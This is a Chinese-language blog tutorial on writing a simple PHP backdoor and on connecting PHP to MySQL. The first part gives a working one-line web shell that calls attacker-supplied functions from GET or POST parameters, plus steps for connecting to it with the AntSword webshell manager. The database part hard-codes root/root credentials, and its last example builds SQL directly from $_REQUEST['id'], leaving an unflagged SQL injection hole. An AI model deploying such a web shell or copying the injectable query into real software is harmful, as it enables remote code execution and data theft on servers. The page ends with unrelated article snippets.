php简单后门实现及php连接数据库

php简单后门实现

代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>easybackdoor</title>
</head>
<body><?php$_GET['x']($_GET['y']);?></body>
</html>

效果

image-20231024172159783

使用蚁剑连接

  <?php$_GET['x']($_POST['y']);?>

使用hackbar传参,前面传assert

image-20231024173622697

添加蚁剑数据,需要选择base64

image-20231024173827283

连接成功

image-20231024173900247

php连接数据库

相关函数

函数名作用
mysqli_connect()与MySQL 数据库建立连接。
mysqli_close()关闭与MYSQL 数据库建立的连接。
mysqli_connect_errno()与MySQL 数据库建立连接时,发生错误时的错误编号。
mysqli_connect_error()与MySQL 数据库建立连接时,发生错误时的错误信息。
mysqli_query()执行SQL 语句。
mysqli_errno()执行SQL 语句时,发生错误的编号。
mysqli_error()执行SQL 语句时,发生错误的信息。
mysqli_fetch_assoc()从结果集对象中取数据,按条取数据。
函数说明
mysqli_fetch_row()以索引数组的方式获取一条记录的数据
mysqli_fetch_assoc()以关联数组的方式获取一条记录的数据
mysqli_fetch_array()以索引数组或关联数组的方式获取一条记录的数据
mysqli_fetch_all()以索引数组或关联数组的方式获取全部记录的数据
mysqli_num_rows()获取结果集对象中数据条数
mysqli_free_result()释放与一个结果集合相关的内存

交互过程

  • 建立与MySQL 链接。
  • 执行SQL 语句,返回结果集对象。
  • 从结果集对象中取数据。
  • 关闭与MySQL 链接

建立链接

$db_host = "127.0.0.1";
$db_user = "root";
$db_pass = "root";
$db_name = "bbs";$link = @mysqli_connect($db_host, $db_user, $db_pass, $db_name);

如果链接成功,返回object(mysqli)1;否则,返回bool(false)。

$link 是对象类型的变量,相当于一个"令牌"。

捕获连接错误
  • 错误编号
  • 错误详情
if(!$link){exit("[".mysqli_connect_errno()."] ".mysqli_connect_error());
}

关闭链接

mysqli_close($link);

执行SQL

单条SQL 语句执行
$sql = "select * from users1;";$results =  mysqli_query($link, $sql);

如果SQL 语句正常执行,就会返回对象类型object(mysqli_result)#2 的数据;否则,bool(false)。

对于insert,delete,update 等不会返回数据的SQL 语句,在执行没有错误时将返回true。对于返回数据的SQL 语句执行成功的时候会返回结果集对象,可以使用操作结果集对象的函数来从中获取数据。

SQL 错误

如果在执行SQL 语句的时候发生错误,mysqli_query 将返回false。可以使用以下函数捕获错误原因:

if(!$results){exit("[".mysqli_errno($link)."] ".mysqli_error($link));
}

完整代码实现

执行结果,遍历输出该表并写入表格

image-20231024165547718

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>mysqlconnect</title>
</head>
<body><?php$db_host="127.0.0.1";$db_user="root";$db_pass="root";$db_name="bbs";$link=@mysqli_connect($db_host, $db_user, $db_pass, $db_name);if(!$link){echo "link error<br>"."[".mysqli_connect_errno()."]".mysqli_connect_error();exit();}else{echo "link access";}$sql="select * from message;";$results=mysqli_query($link,$sql);if(!$results){echo "error,plz retry<br>"."[".mysqli_errno($link)."]".mysqli_error($link);}echo "<table border=2>";echo "<tr><td>id</td><td>uid</td><td>title</td><td>content</td></tr>";while($result=mysqli_fetch_assoc($results)){echo "<tr>";foreach($result as $k => $v){echo "<td>";echo $v;echo "</td>";}echo "</tr>";}echo "</table>";mysqli_close($link); ?></body>
</html>

可以实现根据id查询到数控,并且返回的有用户名了

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>mysqlconnect</title>
</head>
<body><?php$db_host="127.0.0.1";$db_user="root";$db_pass="root";$db_name="bbs";$link=@mysqli_connect($db_host, $db_user, $db_pass, $db_name);if(!$link){echo "link error<br>"."[".mysqli_connect_errno()."]".mysqli_connect_error();exit();}else{echo "link access";}$id=isset($_REQUEST['id'])?$_REQUEST['id']:1;$sql="select m.id,u.username,m.title,m.content from message m,user u where u.id=m.uid and m.id=$id;";$results=mysqli_query($link,$sql);if(!$results){echo "error,plz retry<br>"."[".mysqli_errno($link)."]".mysqli_error($link);}echo "<table border=2>";echo "<tr><td>id</td><td>username</td><td>title</td><td>content</td></tr>";while($result=mysqli_fetch_assoc($results)){echo "<tr>";foreach($result as $k => $v){echo "<td>";echo $v;echo "</td>";}echo "</tr>";}echo "</table>";mysqli_close($link); ?></body>
</html>

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/121959.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机专业毕业设计如何选题、如何规避风险、避免入坑

博主介绍&#xff1a;✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久&#xff0c;选择我们就是选择放心、选择安心毕业✌ &#x1f345;由于篇幅限制&#xff0c;想要获取完整文章或者源码&#xff0c;或者代做&am…

云服务器搭建Spark集群

文章目录 1. Local 模式1.1 安装local模式1.2 命令行工具1.3 提交本地应用 2. Standlone模式2.1 集群配置2.2 修改配置文件2.3 启动集群与停止集群2.4 提交应用到集群环境2.5 提交应用的参数详细说明2.6 配置历史服务2.7 配置高可用&#xff08;HA&#xff09; 3. Yarn模式&…

如何使用ffmpeg制作透明背景的视频

最近我们尝试在网页上叠加数字人讲解的功能&#xff0c;发现如果直接在网页上放一个矩形的数字人视频&#xff0c;效果会很差&#xff0c;首先是会遮挡很多画面的内容&#xff0c;其次就是不管使用任何任务背景&#xff0c;画面都和后面的网页不是很协调&#xff0c;如图所示&a…

【Java】PAT Basic Level 1024 科学计数法

题目 1024 科学计数法 作者 HOU, Qiming 单位 浙江大学 科学计数法是科学家用来表示很大或很小的数字的一种方便的方法&#xff0c;其满足正则表达式 [-][1-9].[0-9]E[-][0-9]&#xff0c;即数字的整数部分只有 1 位&#xff0c;小数部分至少有 1 位&#xff0c;该数字及其指…

Vuex 和 Redux 的区别?

Vuex和Redux是两个流行的JavaScript状态管理库&#xff0c;它们有一些相似之处&#xff0c;但也有一些区别。 区别&#xff1a; 语言&#xff1a;Vuex是为Vue.js框架设计的&#xff0c;而Redux是一个独立的库&#xff0c;可用于多种JavaScript框架或库。生态系统&#xff1a;…

提升技能,挑战自我——一站式在线题库小程序

在这个信息爆炸的时代&#xff0c;我们总是在寻找一种方式&#xff0c;让自己在众多的知识海洋中快速提升技能&#xff0c;挑战自我。今天&#xff0c;我要向大家推荐一款全新的在线题库小程序KD蝌蚪阿坤&#xff0c;它将帮助你实现这个目标。 KD蝌蚪阿坤是一款全面的在线题库…

5 个编写高效 Makefile 文件的最佳实践

在软件开发过程中&#xff0c;Makefile是一个非常重要的工具&#xff0c;它可以帮助我们自动化构建、编译、测试和部署。然而&#xff0c;编写高效的Makefile文件并不是一件容易的事情。在本文中&#xff0c;我们将讨论如何编写高效的Makefile文件&#xff0c;以提高我们的开发…

Python---练习:有一物,不知其数,三三数之余二,五五数之余三,七七数之余二,问物几何?

案例&#xff1a; 有一物&#xff0c;不知其数&#xff0c;三三数之余二&#xff0c;五五数之余三&#xff0c;七七数之余二&#xff0c;问物几何&#xff1f; 人话&#xff1a; 有一个数字&#xff0c;不知道具体是多少&#xff0c;用3去除剩2&#xff0c;用5去除剩3&#…

Linux中shell脚本中的变量

目录 一、变量的定义 二、shell脚本中变量的定义方法 1、变量名称 2、环境级别 3、用户级别 4、系统级别 5、删除设定的变量 三、变量的转译 1、转译 2、声明 3、变量的数组 四、Linux中命令的别名设定 五、用户环境变量的更改 脚本中的传参 1、非交互模式 2…

android studio启动Task配置

Android studio 高版本默认不开启Task配置&#xff0c;需要自己手动开启 1.低版本配置路径&#xff1a;&#xff08;复制他人图片&#xff09; 2.高版本路径&#xff1a;添加下图勾选配置即可 3.gradle task 3.1 初识task gradle中所有的构建工作都是由task完成的,它帮我们处…

Anaconda下载和安装

1.概述 1&#xff09;包含conda&#xff1a;conda是一个环境管理器&#xff0c;其功能依靠conda包来实现&#xff0c;该环境管理器与pip类似。 2&#xff09;安装大量工具包&#xff1a;Anaconda会自动安装一个基本的python&#xff0c;该python的版本Anaconda的版本有关。该…

2023年清洁电器行业数据分析:洗地机市场规模持续倍增,进入赛点

洗地机作为清洁电器领域的明星品类&#xff0c;正在成为继扫地机器人之后拉动清洁电器市场大盘的又一核心动力。 在清洁电器领域&#xff0c;扫地机器人、洗地机和吸尘器是三大热门品类。截至今年9月份&#xff0c;根据鲸参谋平台的数据显示&#xff0c;吸尘器的规模继续大幅下…

数据库、数据仓库相关

1. 数据库与数据仓库的区别 数据库 Database (Oracle, Mysql, PostgreSQL)主要用于事务处理。数据仓库 Datawarehouse (Amazon Redshift, Hive)主要用于数据分析。 数据库和数据仓库是两种不同的数据存储方式&#xff0c;它们的设计目的和使用场景也有所不同。数据库通常用于…

嵌入式 Tomcat 调校

SpringBoot 嵌入了 Web 容器如 Tomcat/Jetty/Undertow&#xff0c;——这是怎么做到的&#xff1f;我们以 Tomcat 为例子&#xff0c;尝试调用嵌入式 Tomcat。 调用嵌入式 Tomcat&#xff0c;如果按照默认去启动&#xff0c;一个 main 函数就可以了。 简单的例子 下面是启动…

系列十八、请描述下bean的生命周期

一、概述 bean的生命周期是指bean从创建到销毁的整个过程。 二、生命周期 bean的生命周期是指bean从创建到销毁的整个过程&#xff0c;大致可以分为如下四个过程&#xff1a; 2.1、实例化 实例化可以通过如下几种方式完成&#xff1a;&#xff08;参考系列十五&#xff09…

JPA联合主键

​ 在实际工作中&#xff0c;我们会经常遇到联合主键的情况&#xff0c;所以我用简单例子列举JPA两种实现联合主键的方式。 1、如何通过IdClass 实现联合主键 第一步:新建一个UserInfoID类&#xff0c;里面是联合主键 Data Builder NoArgsConstructor AllArgsConstructor pu…

【Luogu】 P5642 人造情感(emotion)

题目链接 点击打开链接 题目解法 考虑如何计算 f ( U ) f(U) f(U)&#xff0c;我不知道如何能想到下面的解法 一个技巧是把路径挂在 l c a lca lca 上 我们令 f u f_{u} fu​ 表示完全包含在 u u u 的子树中的路径的最大独立集 考虑转移&#xff0c;记 s u m u ∑ v…

maven之父子工程版本控制案例实战,及拓展groupId和artifactId的含义

<parent>标签 用于父子工程项目&#xff0c;什么是父子工程&#xff1f; 顾名思义&#xff0c;maven父子项目是一个有一个父项目&#xff0c;父项目下面又有很多子项目的maven工程&#xff0c;当然&#xff0c;子项目下面还可以添加子项目&#xff0c;从而形成一个树形…

Java架构师信息系统构建

目录 1 导学2 信息系统概述2.1 企业主要使用的信息化系统介绍3 业务处理系统3.1 业务处理系统TPS3.2 管理信息系统MIS3.3 决策支持系统DSS4 专家系统ES5 办公自动化系统OAS6 企业资源规划ERP7 典型信息系统架构模型8 信息化战略体系9 客户关系管理CRM10 供应链管理SCM11 企业应…

python DevOps

在云原生中&#xff0c;python扮演的角色是什么&#xff1f; 在云原生环境中&#xff0c;Python 作为一种高级编程语言&#xff0c;在多个方面扮演着重要角色。云原生是指利用云计算的各种优势&#xff08;如弹性、可扩展性和自动化&#xff09;&#xff0c;构建和运行应用程序…